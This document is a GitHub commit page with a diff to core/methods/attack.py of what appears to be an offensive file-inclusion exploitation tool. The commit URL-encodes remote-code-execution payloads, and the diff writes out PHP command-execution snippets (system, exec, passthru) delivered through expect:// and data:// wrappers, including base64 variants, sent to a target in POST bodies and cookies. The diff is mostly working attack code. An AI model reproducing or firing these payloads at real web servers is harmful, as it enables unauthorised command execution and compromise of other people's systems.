Skip to content

Commit

Permalink
fixed wrapper RCE failing due to missing URL encoding
Browse files Browse the repository at this point in the history
  • Loading branch information
VainlyStrain committed Feb 18, 2021
1 parent 967426c commit 7274d45
Showing 1 changed file with 22 additions and 16 deletions.
38 changes: 22 additions & 16 deletions core/methods/attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@
from core.methods.notify import notify
from core.methods.error import ShellPopException

from urllib.parse import unquote
from urllib.parse import unquote, quote

global maxlen
maxlen = len(max(payloadlist, key=len))
Expand Down Expand Up @@ -1117,23 +1117,29 @@ def sheller(
nullbyte_used = ""
if nullist:
nullbyte_used = nullist[0]
systemp = '<?php system("{}"); ?>'.format(PAYLOAD)
execp = '<?php exec("{}"); ?>'.format(PAYLOAD)
passp = '<?php passthru("{}"); ?>'.format(PAYLOAD)
wrappersPart1 = [
'expect://{}'.format(PAYLOAD),
'data://text/plain,<?php system'
'("{}"); ?>'.format(PAYLOAD),
'data://text/plain,<?php exec'
'("{}"); ?>'.format(PAYLOAD),
'data://text/plain,<?php passthru'
'("{}"); ?>'.format(PAYLOAD),
'data://text/plain;base64,' + encode64(
'<?php system("{}"); ?>'.format(PAYLOAD)
'expect://{}'.format(quote(PAYLOAD)),
'data://text/plain,{}'.format(
quote(systemp),
),
'data://text/plain;base64,' + encode64(
'<?php exec("{}"); ?>'.format(PAYLOAD)
'data://text/plain,{}'.format(
quote(execp),
),
'data://text/plain,{}'.format(
quote(passp),
),
'data://text/plain;base64,' + encode64(
'data://text/plain;base64,' + quote(encode64(
'<?php system("{}"); ?>'.format(PAYLOAD)
)),
'data://text/plain;base64,' + quote(encode64(
'<?php exec("{}"); ?>'.format(PAYLOAD)
)),
'data://text/plain;base64,' + quote(encode64(
'<?php passthru("{}"); ?>'.format(PAYLOAD)
)
)),
]

namesPart1 = [
Expand Down Expand Up @@ -1234,15 +1240,15 @@ def sheller(
req = requests.Request(
method="POST",
url=url + cont,
data=payloads[i]
data=quote(payloads[i])
)
prep = s.prepare_request(req)
elif attack == 3:
s.cookies.set(selected, wrapper + nullbyte_used)
req = requests.Request(
method="POST",
url=url + cont,
data=payloads[i]
data=quote(payloads[i])
)
prep = s.prepare_request(req)
else:
Expand Down

0 comments on commit 7274d45

Please sign in to comment.